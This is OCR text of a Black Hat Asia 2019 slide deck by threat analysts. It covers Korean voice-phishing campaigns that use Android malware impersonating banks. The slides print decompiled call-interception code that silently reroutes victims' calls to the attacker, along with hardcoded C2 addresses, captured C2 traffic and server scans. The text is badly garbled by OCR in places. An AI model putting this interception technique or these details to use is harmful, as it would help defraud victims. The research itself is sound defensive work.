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Who we are
* Min-chang Jang
* A Manager of Threat Analysis Team@FSI

« Main author of threat intelligence report “Campaign
ShadowVoice”

» A graduate student of Korea University
* Major in Cyber warfare (M.S degree)
» Served in the Korea NAVY HQ CERT
» Speaker of {CODE BLUE, Black hat Asia, Black hat EU}
* SNS {fb:mins4416, twt:051R15}
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Who we are
* Kyung-ju Kwak
« A Manager of Security Operation Center@FSI

* Main Author of Threat Intelligence Report “Campaign Rifle:
Andariel, The Maiden of Anguish”

 Member of National Police Agency Cybercrime Advisory Committee
* Mentor of Best of the Best(B.O.B) Program

- Speaker of {CODE BLUE, BlackHat EU, BlackHat ASIA, Kaspersky
CWS, PACSEC, HITCON, HACKCON, ISCR, etc}

- SNS(fb, twt) @kjkwak12
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Who we are
 Jaeki Kim
* An Assistant Manager of Threat Analysis Team@F Sl
« Main Author of Threat Intelligence Report “Campaign DOKKAEBI” (2018)
* Digital Forensic
« CECRC @NEC(National Election Commission) (2016)
* M.S. degree - Information Security
« SANE Lab, Korea University (2014 ~ 2016)
* Interest in Analysis
* Mentor of Best of the Best(B.0.B) Program @KITRI
* Vulnerability Analysis Track
 Member of “koreanbadass” Team @DEFCON CTF Finalist (2017, 2018)
* SNS(fb, twt) @2runjack2
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Who we are

* Prof. Dr. Seungjoo (Gabriel) Kim*

* He is a professor of Graduate School of Information Security in Korea University from

2011 and his research areas focus on SDL, security engineering, cryptography and
blockchain.

* For the past seven years, he was an associate professor of Sungkyunkwan University
and has five years of back ground of team leader of Cryptographic Technology Team
and also IT Security Evaluation Team of KISA(Korea Internet & Security Agency).

* In addition to being a professor, he is positioning a head of SANE(Security Analysis
aNd Evaluation) Lab, an adviser of hacking club ‘CyKor', a founder/advisory director of
an international security & hacking conference 'SECUINSIDE’. His numerous
professional focus on a presidential committee member on the 4th industrial
revolution and an advisory committee member of several public and private
organizations such as NIS(National Intelligence Service), Ministry of National Defense,
Ministry of Justice, Supreme Prosecutors’ Office, Korea National Police Agency,

Nuclear Safety and Security Commission, etc. He also taught at the Korea Military
Academy.

* Corresponding Author #tBHASIA WE@BLACKHAT EVENTS



0

black hat

ASIA 2019

I\

2019. 2. 28.(=F) M7t HiZZ

2019. 2. 27.()

SERA | 2UISOISEH | 0143 HE(3145-8521), BEH MATAIY(3145-8534)
H = : 201849 H0[ANY ToHY, AU *i+F!

1| Ho|A0% Lol oy

] (3 ) 1895 44409 Qo2 el (2431919
78t 94 Hu

o Ho|xy it 48743B = Wi HT 1347 °] Ao,
e i B 1229 9(10T F 919 wrl)o] LA

) BT} 82.7%(2,0099 Y 1)

'I‘""l:r

Press release(KOR) : https:/goo.gl/q9bVCb

Press Release of Financial Supervisory Service
2019. 2. 28.(Thur) for evening paper
Subject: The biggest amount of damage in 2018!

1. Voice phishing damage situation

O (amount of the damage) In 2018, KRW 440 billion. It
increases 82.7% from last year(KRW 200 billion) is
the highest level ever

o There were 48,743 victims of voice phishing, with
an average of 134 victims each day. The amount of
damages was an average of KRW 1.22 billion per day.
(An average of 9 million won per person.)
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Amount of Damage In

2018

KRW 440 billion
It’s almost USD 398.2 million

x 4,400
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My Porsche Macan is 100 million (KRW)
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Main Contents

 Voice Phishing Background
* Voice Phishing History
 Voice Phishing Process
* Voice Phishing Criminal Organization
* Client Side
» Malicious app analysis
* Server Side
» Malicious app distribution server (deep dive)
* C&C server
« Criminal’s OPSEC Failures
« Conclusion
*QnA
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Voice Phishing
Background
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What is Voice Phishing?

* Voice phishing is a form of criminal phone fraud, using social
engineering over the telephone system to gain access to private
personal and financial information for the purpose of financial
reward.

#fBHASIA YWEeBLACK HAT EVENTS
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General Voice Phishing Process

@ :

CALL
b J
98/

Victims

General Voice Phishing Criminals Text
Instant Msg

Transfer money
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Voice Phishing Criminal Organization

+ Manager of BankBook
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Hundreds of Victims




L —

*owt osiossosgiesa’’

ackhat

ASIA 2019

Yeah, that’s true.
t’s not a cyber crime.

But one day a malicious android app was reported to me.
I’ll show you a video clip on the next page.

#fBHASIA YWEeBLACK HAT EVENTS
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New Type Voice Phishing Process TIIL

B. Malicious App intercepts the call
and forwarding to the attacker

28D

Finance Company <

New Voice Phishing Criminals

F- 3

2

CALL

>

Text

Malicious App Distribution Server
PP Instant Msg

¢
Malicious App

%,.% %J 4

A. if victims call to Finance Company Victims

C. Transfer money

C&C Server

Key Information

(only Android) #fBHASIA YWEeBLACK HAT EVENTS
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Client Side Contents
* Malicious App Analysis
* How does the app infect a victim?
* Call Intercepting
* Hardcoded C2 address
* Network Analysis (App and C2)
* Statistical Indicators chart
* Package Name of APK
* File Name of APK
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Client Side

Malicious App Analysis
- How does the app infect a victim?
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’ll talk about ... ‘1111

New Voice Phishing Criminals
&

2

CALL

B. Malicious App intercepts the call

and forwarding to the attacker C. Transfer money

>

Text
Instant Msg

C&C Server

Malicious App Distribution Server

28D

’ Key Information

Malicious App

%,.% %J 4

[ ) A. if victims call to Finance Company B Victims
Finance Company 4 y (on|y Android) #BHASIA WE@BLACKHAT EVENTS
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Infectlon process of New Voice Phishing (using Text msg)
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¢ 2017.12.15. Fri.
* Mr. Goo
* This is a result of the loan application.
1. acceptable amount/ interest rate
* 1) 48,000,000 WON / 4.05%
2) apply 0.2% benefit
« 2. Detalls
Your DTI(Debt To Income) excesses and your
ability to repay is incomplete. But if you
complement it, the loan will be approved.
* Please contact us.
* Thank you.
- Department of Loan in C BANK -
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Infection process of New Voice Phishing (using Text msg)
]
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2017.12.19. Tue.
Mr. Goo
» Please, Install this Mobile app to proceed
for your loan.
s A link 114.xXXX.XXX.XXX
#1 - C BANK -
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Infection process of New Voice Phishing (using Instant msg)

< 9% Q

http://125 /web/
m/index.html

1:47

2% 1:52

e http://125.xxx.xxx.xxx/web/m/index.htmi
* N Capital

* If you downloaded the app, please click
“Settings” and check to allow
“Unknown sources” and click “install”
and “Open”. Then click “Apply” since
entering your name, phone number,
social number.
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’ll talk about ... ‘1111

New Voice Phishing Criminals
&

2

CALL

B. Malicious App intercepts the call

and forwards to the attacker C. Transgfer money

>

Text
Instant Msg

C&C Server

Malicious App Distribution Server

28D

’ Key Information

Malicious App

%,.% %J 4

[ ) A. if victims call to Finance Company B Victims
Finance Company 4 y (on|y Android) #BHASIA WE@BLACKHAT EVENTS
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The launch screen of New Voice
r ™

CAPITAL -

. v

5 L8
r\ -
XIZHI2 L3617 >
! YT EI

4 |

SMART DIRECTLOAN -3H oe nDAdH

1877-0814 -

ZHi ClO[HIER SSUSHUELETE
Al
—_

Sloto] ZHmst mHfQl= 27| HAIRHCH

It impersonates “L Capital”

Phishing app
The title is “L CAPITAL”

Don’t need to visit our office.
Don’t need any papir. (paper)
Smart Loan, Easily, Simply

We don’t care your credit rating

L Capital Customer center 1877-0814
It’s a real customer center phone

number of the “L Capital”.
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do

“W savings Bank”
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SMART DIRECTLOAN

O|%l == m

ADLE 5|

There is no number.
OPSEC FAIL :D

LESE

It means “Savings Bank”.

o

XSHR A |>

It means “CAPITAL”. ==

SMART DIRECTLOAN

“H Capital”
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HEME (377H)

= - Recently, | found a malicious app that
| has new launch screen.

o
Jt
N

ERTNELE]

>
NSOHE | HPOIUE| FREY
FU i-star XY MBS (ZESANE)
Geo] STYH UBUFE ST HAVIQOE HABE L (EE U o F= NSNS >
USCHE | HPOIUE | KB PIIYASTE NBTE | QI 7 | AEtHNY
2 o0l MBS
23 Z0{0|H| DA MBS ME >
HBOHE | 20 | B2 | DUVCHE | NS SIEU NT | Actazu
FUMSUEM USYAXZ
JIE BRI MSILEN T (FY MSTENIEY) , (ES SULE SO MUS AT ATV XY HEYE >
NSCHE | AB | CHEHRIRINE | HRIENY

It impersonates “K bank” tBHASIA YWEBLACK HAT EVENTS
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Client Side

Malicious App Analysis
- Call Intercepting
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’ll talk about ... ‘1111

New Voice Phishing Criminals

B. Malicious App intercepts the call
and forwarding to the attacker

2,

Text

C&C Server
Instant Msg

Malicious App Distribution Server

28D

’ Key Information

Malicious App

b
A

O
[ ) A. if victims call to Finance Company B Victims
Finance Company 4 y (on|y Android) #BHASIA WE@BLACKHAT EVENTS
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The method of intercepting call

private void outGoingCall() {

int v13 = -1;
if(this.getResultData() '= null) {
String changeNumbers_list = Config.getTransferNumber(this.mContext);

if(changeNumbers_list != null) {
String[] changeNumbers_array = changeNumbers_list.split(",");
String attacker_number = Config.getToNumber(this.mContext);
int changeNumbers_list_idx = this.JudgeNumber(this.getResultData(), changeNumbers_array);
if(changeNumbers list idx != v13 && attacker_number != null) {
this.setResultData(attacker_number);
;o SimpleWindow.class, 0);

Bundle v4 = new Bundle();
v4.putString(“number”, changeNumbers_array[changeNumbers_list_idx]);
v4.putString(“number2”, attacker_number);
StandOutWindow.sendData(this.mContext, SimpleWindow.class, @, 1, v4, SimpleWindow.class, 0);
ToolWtils.setCallNumberInfo(this.mContext, changeNumbers_array[changeNumbers_list_idx]);
ToolWtils.setChangeNumberInfo(this.mContext, attacker_number);
int v7 = Config.getDevicesId(this.mContext);
if(v7 1= v13) {
UserUtils.toOnCall(v7 + "", this.mContext, null, new XCallback() {
public void onSuccess(Object argl) {
super.onSuccess(argl);
}
s

#fBHASIA YWEeBLACK HAT EVENTS
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The evolution of New Voice Phishing app

- | found ring back tones each financial
companies in the app, lately

1. ZERME BT

o

Bytecode
Resources

Assets

| 7| ajucap.mp3

|?| agueoncap.mp3
|?| baroron.mp3

|?| bnk.mp3

|?| chinesave.mp3
|?| daesinsave.mp3
|?| dbsave.mp3

|?| goreasave.mp3
|?| hana.mp3

| 7| hankooksave.mp3
|?| hyundaecap.mp3
| 7| hyundaecard.mp3
| 7| ibkcap.mp3
|?| ibksave.mp3
|?| joycredit.mp3
|?] jtcap.mp3
|?] jtsave.mp3
2]
2]

|?] loan_number.dat
| 7| lottecapital.mp3
|?| lottecard.mp3

| 2] million.mp3

2! mizearana mn?

(L)

#fBHASIA

ajucap.mp3
aqueoncap.mp3
baroron.mp3
bnk.mp3
chinesave.mp3
daesinsave.mp3
dbsave.mp3
goreasave.mp3
hana.mp3
hankooksave.mp3
hyundaecap.mp3
hyundaecard.mp3
ibkcap.mp3
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Client Side

Malicious App Analysis
- Hardcoded C2
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Hardcoded C2 (in Class)

package com.android.hellow3; public class XHttprequestutils {
private static int RETRY_COUNT;

public class Configutils { private static Xwttpr quh_,t tils xHttprequestutils;
Strine ) Tin*
public static String domain; static {
i . XHttprequestUtils.RETRY_COUNT = O;
S tic ¥ DEASLOOS }
configutils.domain = 10 D ;
} private Xuttprequestutils(Context argl) {
super();
public Configutils() { ’
supe l‘()' static xXwttprequestutils getinstance(Context argl) {
} if(Xxttprequestu tll;./“ffprc ue stLtth == null) {
XHttprequestutils.xRttprequestUtils = new Xuttprequestutils(argl);
}
return Xuttprequestutils.xHttprequestUtils;
}
Cancelable post(String arg7, Map args, XGaddbacknangSyud
RequestParams v2 = new RequestParamsgarg?.replace(Config.ReplaceIrP, " - ));
v2.setConnectTimeout(60000); -
2.setMaxRetryCount(e);

if(args !'= null) {

#fBHASIA YWEeBLACK HAT EVENTS
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Hardcoded C2 (in Library)

package com.android.hellox3;

public class Masker {

private static final String TAG = "Masker”;
static {
try {
System.loadLibrary(“malsker”);
¥
catch(Exception vo) {

ve.printStackTrace();

}

__fastcall Java _com_android_hellox3 HMasker_ getUst{ JNIEnv =al)

int

{
.com:1234

return _JNIEnv::NewStringUTF{a1, “http://
b

#fBHASIA YWEeBLACK HAT EVENTS
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Hardcoded C2 (Remote File)

f Same URL

public String getshtml() {
string v6 = "; <4
String v7 = G - «r//s
try {
HttpResponse v4 = new DefaultwttpClient().execute(new HttpGet(v7));
if(v4.getStatusLine().getStatusCode() != 200) {
return vé;
’ / \
system.out.println( ); ' e
5 v — \ r - .
(42 == null) ¢ ¢  C 0 0ok % G cokr/sub/vip.txt
}
114 (D
string v5 = Entityutils.toString(vil);
system.out.println(vs); k
V6 = V5;
¥
catch(Exception ve) {

ve.printStackTrace();

} IP ADDRESS

return vé;
} #BHASIA YWEeBLACK HAT EVENTS
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Client Side

Malicious App Analysis
- Network Analysis(App and C2)
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Network Analysis(App and C2)

* How does app to get forwarding number?
389f

" " - " " -
Date: Thu, 21 Feb 2819 15:80:88 GMT ; S S lO
Server: Apache 8, "page?2 number”:"87042787887","
Set-Cookie: PHPSESSID=b29885870578ad4d29dff89298c2b74e =
Expires: Thu, 19 Nov 1981 ©88:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-
Pragma: no-cache
Keep-Alive: timeout=5, max=186
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

POST /api_visit.php HTTP/1.1

User-Agent: SM-T715MN@8:5.8.2:192.168.8.19
User-Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 282

Host: 61.97.258.73

Connection: Keep-Alive 389

e P {"enable":1,"log":@, "user":

8, "page2_number":"@7042787887"
14:85:22","page2_numbers™:

[“©23238826","823647955","16616119","8216610119","025391544" ,"8517131221","16449988", "0216449988" ,"15772280", "821
5772280","0232875000", "15667733","0215667733","0221937760" ,"0314815383","16669119","0216669119","16889119", 02168
89119","16880@73","0216880873","15886161","0215886161","0221996114" ,"025211771","15771885","0215771885", 16447658
","0216447658" ,"024024646" , "16443760" ,"0216443760" , "16443568" , "02164435968" , "@5522281600" , "@5371426000" , "0637121008"

MArAAT A AAAAT HAAAF-ArASAAT HAF - aAaAnl HAAA - rasaAni A rannni HaSAC s Snnnll HA cAnannnil aSA CcAAnoani aSa ~an 3o anim w

Y page3 numberl":"@7842787087","page3 number2":"15889999", "timestamp"”:"2819-82-21

#fBHASIA YWEeBLACK HAT EVENTS
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Network Analysis(App and C2)
* How does app to get forwarding number?

okGET /socket.io/?
EIO=3&sid=dG61lLelaanlAczxVABPr&transport=polling&4RdUpAlLYdwgs71d=Z2GV2aliN1X21kPWFiNmQyMzZiNmYxZjAIN2QmcGhvbmVOdW1iZXI9bnVsbCZjYXIyaWVyPUtUInNpbVOudiWliZXT
9bnVsbCZtb2R1bD1TTSIUNZELTjAmbWFudWZhY3R1cmVyPXNhbXN1bmecmemVsZWFzZTO1LjAuMiZib2FyZD11bm12ZX]zYWw1NDMzImIvb3RFbGOhZGVyPVQ3MTVOMEtPVTFBTOky IJm]yYWSkPXNhbXN1
bmcmZGV2aWN1PWdOczI4dbHR1a3gmZmluZ2VycHIpbnQ9c2Ftc3VuZy9ndHMyOGx0ZWt4L2d0czI4bHR1a3gbNS4wL jIvTFIYMjIHL1Q3MTVOMETPVTFBTOkyOnVZZXIvemVsZWFzZS1rZX1zImhhecmR3Y
XJ1PXVuaXZ1lcnNhbDUBMzMmaG9zdD1TVOREN jkxMiZwecmOkdWNOPWdOczI4bHR1a3gmdGFnczly ZWx1YXN1LWtleXMmdH1wZT11c2VyInVzZXI9ZHBpInZ1lcnNpb25FfcmVsZWFzZTO1L jAuMiZ2ZX] zal
QuX2NvZGVuYW11PVIFTCZ2ZXIzaW9uX21uY3J1bWVudGFsPVQ3MTVOMEtPVTFBTOkyInZ1lcnNpb25fc2RrPTAmdmVyc21vbl9zZGtfalW50PTIxImZ jbV90b2t1bjOwImZjbVOpZDOwInIpbmdfbWOkZTO
x HTTP/1.1

Accept: */*

Host: 103.93.77.68:8889

Connection: Keep-Alive

Accept-Encoding: gzip

User-Agent: okhttp/3.8.1

#fBHASIA YWEeBLACK HAT EVENTS
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Network Analysis(App and C2)
* How does app to get forwarding number?

- .

AN {"order":" setForwardNumber” {"forwardNumber" : "07080643395" ]

Content-Type: text/plain; charset=UTF-8

Content-Encoding: gzi " " " " " " "

Conten Lngth: T5661 {"order":"setFakerCall™,"calle#:null, “change _caller":null
ccess-Control- ow-Origin: * - -
R {"order”:"forwardList","ferfvardList™:[{"id":1185, "name" : ":

Connection: keep-alive

1814:42["order”,{"order": "setBlackList","blackList™:[{"id":

27,"name”:" L ", "number”:"18995050" , "created_at":"2019-02-22 16:52:27","updated_at":"2019-02-22 16:52:27"},{"id":
26,"name": "2 2 & ", "number":"1332", "created_at":"2019-02-21 11:23:05","updated_at":"2019-02-21 11:23:05"},{"id":
25,"name": "0 S8 AH|AHZ2 E 2", "number": "0220737997", "created_at":"2019-02-20 14:03:30","updated_at":"2019-02-20
14:03:30"},{"id":24,"name":"3123213", "number": 112", "created_at":"2019-02-19 14:19:31","updated_at":"2019-02-19
14:19:31"},{"id":23,"name™:"0DL O L 0 O L 0", "number":"02114","created_at":"2019-02-19

14:18:35", "updated_at":"2019-02-19 14:18:35"},{"id":22,"name":"00 L OO L

0", "number”:"114","created_at":"2019-02-18 16:31:23","updated_at":"2019-02-18 16:31:23"},{"id":21, "nameg
oL OOL O0O0","number”:"031114","created_at":"2019-02-18 16:31:13","updated_at":"2019-02-18 16:31
20,"name": "= & F2[3", "number": "0315566870", "created_at":"2019-02-18 15:50:38","updated_at":"
15:50:38"},{"id":19, "name": "= & F#2I2", "number": "0315501953", "created_at":"2019-02-18
15:40:58", "updated_at":"2019-02-18 15:40:58"},{"id":18,"name":"S& 7

2", "number":"0315538083", "created_at":"2019-02-18 15:40:42","updated_at":"2
17,"name": "S & P2l Al A2 AIE ", "number": "0315675041" , "created_at": "2019-
15:40:02"},{"id":16,"name": "S & & X Z ", "number": "0315635991", "c d_at":"2019-02-18

15:39:31", "updated_at":"2019-02-18 15:39:31"},{"id":15, "name g [FHTIE SSA

2", "number":"01096462741" , "created_at":"2019-02-13 12: *,"updated_at":"2019-02-13 12:34:48"},{"id":
13,"name": "SIt S & AIE ", "number”: "0215776000" , " ed_at"”:"2019-01-25 10:06:30", "updated_at":"2019-01-25
10:06:30"},{"id":12,"name":" 0 © © O ", "numbery 20803196", "created_at":"2018-12-31

13:05:08", "updated_at":"2018-12-31 13:034 ],"isReset”:false}]70:42[ "order"”,

{"order": "setForwardNumber", "forwardNumber" : "07080643395"}]71:42[ "order",
{"order":"setFakerCall","caller":null,"change_caller":null}]115100:42[ “order",
{"order":"forwardList","forwardList":[{"id":1185,"name": "Z & A", "number":"112","created_at":"2019-02-22
17:35:00", "updated_at":"2019-02-22 17:35:00"},{"id":1184,"name":"SE =

2", "number"”:"16448470" ,"created_at":"2019-02-22 15:31:10","updated_at":"2019-02-22 15:31:10"},{"id":

-18 15:40:42"},{"id":
15:40:02", "updated_at":"2019-02-18
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Client Side

Statistical Indicators chart
- Package Name of the APK
- File Name of the APK
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Top 10 Package Name of the APK

ETC
5.13%

com.samsung.appstore6
5.23%

com.samsung.appstore8
7.45%

com.samsung.appstore15
7.69%

com.samsung.appstore12
( 24.11%

com.app.test.sma
7.94%

. com.samsung.appstore11
\ 13.26%
com.samsung.appstore9 ,

8.48%
com.samsung.appstore14
com.samsung.appstore13 11.39% 2018.06.~2018.07.

9-320A) #BHASIA YWEeBLACK HAT EVENTS
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Top 10 Package Name of the APK

ETC
19.42%

org.phone.pub.ok
1 26.42%

com.hanacaps[num].cap[date]
2.13%

com.kbbank[num].cap[date]
6.45%

com.nhbanks[num].cap[date] ,
6.68%

com.android.hellok3
24.72%

com.nhcapitals[num].cap[date]
9.73%

com.android.hellom3

4.46% 2019.01.~2019.02.
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Top 10 File Name of the APK

ETC
4.08%

K Bank
1.02%

K Stock
5.42%

S Capital

x S Bank
6.78% N\ 22.71%
K Bank
6.78% :
C Bank
9.15%
4 H Bank

22.37%

K Bank
21.69%

2018.06.~2018.07.

ETC
3.99%

W Bank
1.86%

L Capital
1.91%

N Capital
4.03%

S Bank

4.69% \

K Stock
5.19% )

K Bank
39.44%

N Bank
17.49%

| H Capital
2019.01.~2019.02. 21.39%
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Server Side
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Server Side Contents

* Malicious App Distribution Server
* Features of Malicious App Distribution Server
* Deep Dive into the Server
 Command and Control Server
* General type C2
* New type C2
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Server Side

Malicious App Distribution Server
- Features of Malicious App Distribution Server
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’ll talk about ... ‘1111

New Voice Phishing Criminals
&

2

CALL

B. Malicious App intercepts the call

and forwarding to the attacker C. Transfer money

>

Text
Instant Msg

C&C Server

Malicious App Distribution Server

28D

’ Key Information

Malicious App

%,.% %J 4

[ ) A. if victims call to Finance Company B Victims
Finance Company 4 y (on|y Android) #BHASIA WE@BLACKHAT EVENTS
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* Check opened ports STATE  SERVICE
N 80/tep open http
* 80 135/tcp filtered msrpc
o 3306 1025/tcp fllter‘ed NFS-or=I1IS
RS 108e/tcp filtered socks
. N 3306/tcp open mysql
3389 W 3389/tcp open ms-wbt-server
* It looks Window OS 4282/tcp filtered vrml-multi-use

4444/tcp Tiltered krb524
4662/tcp filtered edonkey
6129/tcp filtered unknown

6667/tcp TfTiltered irc
6699/tcp filtered napster
17877/tcp filtered unknown

#fBHASIA YWEeBLACK HAT EVENTS
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Features of Malicious App Distribution Server
* Connecting ports i
- 80 <- Yes, this is a fake website &)\ &/

+ 3306 2
3389 0 aaey 4 A

) H|CH® AHEPHE ‘w

OKAALY 2ol

#FBHASIA YWCeCBLACK HAT EVENTS

Y
vg e
$



O

blackhat

ASIA 2019

Features of Malicious App Distribution Server

* Connecting ports
* 80 <- Yes, this is a fake website
* 3306 <- 1 don’t care about it =
- 3389 <- Yes, this is a Win RDP /7 Wt

Capyright © 1885-2003 Misrosall Corparation

* Interesting Win Svr 2003 —

= () I

* and Simplified Chinese mn | w10 >
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Server Side

Malicious App Distribution Server
- Deep Dive into the Server
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Server Side

Command & Control Server
- General type C2
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’ll talk about ... ‘1111

New Voice Phishing Criminals
&

2

CALL

B. Malicious App intercepts the call

and forwarding to the attacker C. Transfer money

>

Text
Instant Msg

C&C Server

Malicious App Distribution Server

28D

’ Key Information

Malicious App

%,.% %J 4

[ ) A. if victims call to Finance Company B Victims
Finance Company 4 y (on|y Android) #BHASIA WE@BLACKHAT EVENTS
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Command and Control Server

* Check opened ports

. PORT STATE SERVICE
80 or 8080 42/tcp filtered nameserver
* 3306 4 80/tcp open http
. 3389 135/tcp filtered msrpc
139/tcp filtered netbios-ssn
It looks Window OS 445/tcp filtered microsoft—ds

1025/tcp filtered NFS-or-IIS
1089/tcp filtered socks
3306/tcp open mysql
3389/tcp open ms-wbt-server

L 2

PN

*
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< C 0 O oFsx 42 | 61 S080/CallTransfer/ /[ oiasi vl x & view-source:120 I -

\
aus O
= o [ e > G 0 |0 o a8 | 12oNEE-:050/Cal Transter

(f)ers LOGIN PAGE <~ English (8080) [lE|gS= = = PNt (01PN

al Adminity: Please login to access the control panel.

Korean (8080) ->

HRARHOIX| X\

< C () |© otk g2 | 103 ogin.htm

<- Chinese (80) —

P& :
# 19

TR T Korean (80) ->
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Server Side

Command & Control Server
- New type C2
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Criminal’s OPSEC
Failures
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Conclusion
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Conclusion

* General VoicePhishing met Malicious Android App = New type
VoicePhishing

* I’'m sure that they’re not professional

* Geography location of Malicious app distribution servers is
Taiwan

* If you are not sure, please press “Recent apps key” right now
* The malicious app developer seems to use Apple’s MAC

* Korea and Taiwan both National Investigation Agencies are still
investigating this case (We will arrest the attacker!!)
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